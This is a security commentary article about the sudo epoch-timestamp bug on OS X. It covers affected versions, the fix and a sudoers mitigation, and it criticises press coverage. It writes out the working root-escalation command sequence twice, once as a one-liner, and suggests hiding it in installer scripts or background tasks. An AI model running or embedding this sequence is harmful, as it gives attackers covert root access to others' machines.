Rixstep
	`About \| ACP \| Buy \| Industry Watch \| Learning Curve \| News \| Products \| Search \| Substack`

Home » Learning Curve

The 'sudo' Thing

You need a new version. There's also a temporary fix.

Get It

Try It

There's quite the commotion amongst the few who care about computer security. It's a bug in sudo that's turned into a Metasploit POC coauthored by one of the lead programmers on the sudo project. It seems to work on all platforms and it definitely works on OS X.

Epoch Ticket

The main link you need is at the official sudo website.

http://www.sudo.ws/sudo/alerts/epoch_ticket.html

Here's what's going on. Familiarity with sudo is sine qua.

You need to be able to control the system clock without privilege escalation. Some systems don't allow this, as it's dangerous. Unfortunately, OS X is one of the systems that allow it.
sudo leaves time stamps in the form of empty directories every time it's used. The location for these stamps moves from time to time. But they should be under /private/var. Use privilege escalation to find them if you're interested.
```
$ sudo find /private/var -name sudo
Password:
/private/var/db/sudo
sudo -s
Password:
# cd /private/var/db/sudo
# ls -al
total 0
drwx------   3 root  wheel   102 May 31  2012 .
drwxr-xr-x  45 root  wheel  1530 Sep 10 14:09 ..
drwx------   2 root  wheel    68 Sep 10 15:14 macuser
```
The stamps determine whether the user needs prompting again for a password. A 'grace period' of default five minutes is allowed so the user isn't continually nagged. (The grace period can be turned off. That's the best policy. Use this free tool and you'll never have to worry about that ever again.)
There are no stamps the first time you run sudo, in which case you get the following.

WARNING: Improper use of the sudo command could lead to data loss or the deletion of important system files. Please double-check your typing when using sudo. Type "man sudo" for more information. To proceed, enter your password, or type Ctrl-C to abort.
You can revisit the above prompt anytime you like by invoking 'sudo -K'. There is no password prompt.
Alternately you can invoke 'sudo -k' to set the time stamp back to the Epoch: 1 January 1970 UTC.
sudo has a lot of sanity checks, but despite its heavy use over many years, no one seems to have thought that a time stamp of exactly 1 January 1970 UTC was possible. sudo will otherwise check the system time to make sure no one is trying any funny stuff, but this particular situation isn't one the developers were ready for.
The affected versions are 1.6.0 through 1.7.10p6 and 1.8.0 through 1.8.6p6. The bug is fixed in versions 1.7.10p7 and 1.8.6p7. Use 'sudo -V' to see what version you have.

Significant

This is a significant bug, as even skiddies can easily roll exploits into common applications and totally own you. You'll be none the wiser. Putting it in an Installer.app preflight or postflight script makes things even easier. Whether anybody will bother is another matter, but the exploit is both easy and deadly.

[FinFisher been using this? Ed.]

Topher Kessler wrote on 30 August that this isn't necessarily a significant bug. Bollocks. As Joel Bruner points out, it's child's play to drop a simple script onto a remote system to own it.

sudo -k
systemsetup -setusingnetworktime off
systemsetup -settimezone GMT
systemsetup -setdate 01:01:1970
systemsetup -settime 00:00
sudo -s

You have to turn off network time before proceeding to set the date or time. Following with either 'sudo su' or 'sudo -s' will give you root privileges and the system is yours.

Bruner recommends the following for those who haven't yet properly protected their systems - changing the grace period to zero. Be very careful: the slightest error can render sudo unusable. (Better to use visudo as flawed syntax will not be saved.)

sudo sh -c "echo \"Defaults:ALL timestamp_timeout=0\" >> /private/etc/sudoers"

Some writers are trying to tone things down by using constructs such as 'potential security risk'. There's nothing 'potential' about this. This is a security risk.

Others claim things like:

'... the steps needed to exploit this particular issue make it unlikely most Mac users will become victims...'

There aren't many steps. And far from all OS X users have the latest versions of anything. And it's patently easy to root a remote system with this exploit. In fact, it can all be automated. Some writers obviously don't have particularly fertile imaginations.

Try rolling this in a background NSTask or an Installer.app script, and add on whatever you want to own a Mac.

sudo -k;systemsetup -setusingnetworktime off;systemsetup -settimezone GMT;systemsetup -setdate 01:01:1970;systemsetup -settime 00:00;sudo -s

Then we have the real bottom of the barrel.

'... sudo, a Unix-based Linux command found in most Apple OS X builds...'

Dear Doofus, It's not a 'Unix-based Linux command'. It's from my OpenBSD. And AFAIK it's been in all OS X builds. Regards, Theo PS. What the F is a 'Unix-based Linux command'?

Some Systems Worse

Everyone seems to roll their own sudo these days. The more modification, the more danger. Apple muck with sudo code, and that's not good, but guess what? Others do it too - and do it worse.

http://lifehacker.com/make-sudo-sessions-last-longer-in-linux-1221545774

'When you run sudo in Ubuntu, your administrative privileges last for 15 minutes by default so you don't have to type in your password with every command. If that is too long or short for your tastes, you can change it with a simple tweak.'

Not only is the 'grace period' three times as long as with OS X, but the article explains how to make it even longer.

And they seem to have another brilliant piece on how to make your passwords visible on the same system.

http://lifehacker.com/make-password-asterisks-visible-in-your-linux-terminal-1183533223

Some of the comments on use of sudo on Ubuntu are nothing short of brilliant.

'I use passwords like 123 for my Ubuntu user account.'
'Repeated password prompts for mundane tasks in Linux drive me nuts.'
'I usually have my user set up so that I don't have to type my password at all.'

People that dumb should be forced to run Windows.

And it's also incorrect as Ars claim to call this a 'Mac bug'. It's not a 'Mac bug' - it's a sudo bug.

Waiting on a Fix

So what do you do? The bug's been found and fixed in the actual sudo code. But it's always another matter when Apple get around to looking at it, adapting it to their own code base, and sending it out. Security Update 2013-003 from August didn't seem to cover it. Time's a-wasting.

Apple have in the past dallied with critical sudo updates for over one year.

This is why it's never a good idea to muck with open source. Use open source 'as is' and let the code owners take care of the bugs. Don't modify their code. Don't create a system so far out that you need to waste crucial time readapting for each update. User security hangs in the balance.

And put date and time settings on the root account.

Joel Bruner writes again to report that the next point update of 10.8 seems to take care of 'the sudo thing', and Chris H writes to recommend simply locking date and time preferences. Thanks to both.